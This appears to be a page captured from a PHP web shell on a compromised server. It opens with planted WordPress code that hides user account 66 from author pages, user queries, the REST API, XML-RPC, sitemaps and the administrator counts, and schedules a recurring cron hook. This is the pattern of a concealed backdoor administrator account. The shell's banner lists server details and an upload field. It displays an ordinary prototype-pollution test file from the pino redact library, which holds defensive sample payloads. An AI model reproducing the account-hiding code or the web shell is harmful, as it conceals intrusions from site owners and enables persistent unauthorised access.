403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /var/www/html/openskillpaths/node_modules/@pinojs/redact/test/

Upload File :

[ Back ]

Current File : /var/www/html/openskillpaths/node_modules/@pinojs/redact/test/prototype-pollution.test.js

const { test } = require('node:test')
const { strict: assert } = require('node:assert')
const slowRedact = require('../index.js')

/* eslint-disable no-proto */

test('prototype pollution: __proto__ path should not pollute Object prototype', () => {
  const obj = {
    user: { name: 'john' },
    __proto__: { isAdmin: true }
  }

  const redact = slowRedact({
    paths: ['__proto__.isAdmin'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should redact the __proto__ property if it exists as a regular property
  assert.strictEqual(result.__proto__.isAdmin, '[REDACTED]')
})

test('prototype pollution: constructor.prototype path should not pollute', () => {
  const obj = {
    user: { name: 'john' },
    constructor: {
      prototype: { isAdmin: true }
    }
  }

  const redact = slowRedact({
    paths: ['constructor.prototype.isAdmin'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should redact the constructor.prototype property if it exists as a regular property
  assert.strictEqual(result.constructor.prototype.isAdmin, '[REDACTED]')
})

test('prototype pollution: nested __proto__ should not pollute', () => {
  const obj = {
    user: {
      settings: {
        __proto__: { isAdmin: true }
      }
    }
  }

  const redact = slowRedact({
    paths: ['user.settings.__proto__.isAdmin'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should redact the nested __proto__ property
  assert.strictEqual(result.user.settings.__proto__.isAdmin, '[REDACTED]')
})

test('prototype pollution: bracket notation __proto__ should not pollute', () => {
  const obj = {
    user: { name: 'john' },
    __proto__: { isAdmin: true }
  }

  const redact = slowRedact({
    paths: ['["__proto__"]["isAdmin"]'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should redact the __proto__ property when accessed via bracket notation
  assert.strictEqual(result.__proto__.isAdmin, '[REDACTED]')
})

test('prototype pollution: wildcard with __proto__ should not pollute', () => {
  const obj = {
    users: {
      __proto__: { isAdmin: true },
      user1: { name: 'john' },
      user2: { name: 'jane' }
    }
  }

  const redact = slowRedact({
    paths: ['users.*'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should redact only own properties
  assert.strictEqual(result.users.user1, '[REDACTED]')
  assert.strictEqual(result.users.user2, '[REDACTED]')

  // __proto__ should only be redacted if it's an own property, not inherited
  if (Object.prototype.hasOwnProperty.call(obj.users, '__proto__')) {
    assert.strictEqual(result.users.__proto__, '[REDACTED]')
  }
})

test('prototype pollution: malicious JSON payload should not pollute', () => {
  // Simulate a malicious payload that might come from JSON.parse
  const maliciousObj = JSON.parse('{"user": {"name": "john"}, "__proto__": {"isAdmin": true}}')

  const redact = slowRedact({
    paths: ['__proto__.isAdmin'],
    serialize: false
  })

  const result = redact(maliciousObj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // The malicious payload should have been redacted
  assert.strictEqual(result.__proto__.isAdmin, '[REDACTED]')
})

test('prototype pollution: verify prototype chain is preserved', () => {
  function CustomClass () {
    this.data = 'test'
  }
  CustomClass.prototype.method = function () { return 'original' }

  const obj = new CustomClass()

  const redact = slowRedact({
    paths: ['data'],
    serialize: false
  })

  const result = redact(obj)

  // Should redact the data property
  assert.strictEqual(result.data, '[REDACTED]')

  // Should preserve the original prototype chain
  assert.strictEqual(result.method(), 'original')
  assert.strictEqual(Object.getPrototypeOf(result), CustomClass.prototype)
})

test('prototype pollution: setValue should not create prototype pollution', () => {
  const obj = { user: { name: 'john' } }

  // Try to pollute via non-existent path that could create __proto__
  const redact = slowRedact({
    paths: ['__proto__.isAdmin'],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual({}.isAdmin, undefined)

  // Should not create the path if it doesn't exist
  // The __proto__ property may exist due to Object.create, but should not contain our redacted value
  if (result.__proto__) {
    assert.strictEqual(result.__proto__.isAdmin, undefined)
  }
})

test('prototype pollution: deep nested prototype properties should not pollute', () => {
  const obj = {
    level1: {
      level2: {
        level3: {
          __proto__: { isAdmin: true },
          constructor: {
            prototype: { isEvil: true }
          }
        }
      }
    }
  }

  const redact = slowRedact({
    paths: [
      'level1.level2.level3.__proto__.isAdmin',
      'level1.level2.level3.constructor.prototype.isEvil'
    ],
    serialize: false
  })

  const result = redact(obj)

  // Should not pollute Object.prototype
  assert.strictEqual(Object.prototype.isAdmin, undefined)
  assert.strictEqual(Object.prototype.isEvil, undefined)
  assert.strictEqual({}.isAdmin, undefined)
  assert.strictEqual({}.isEvil, undefined)

  // Should redact the deep nested properties
  assert.strictEqual(result.level1.level2.level3.__proto__.isAdmin, '[REDACTED]')
  assert.strictEqual(result.level1.level2.level3.constructor.prototype.isEvil, '[REDACTED]')
})

Youez - 2016 - github.com/yon3zu
LinuXploit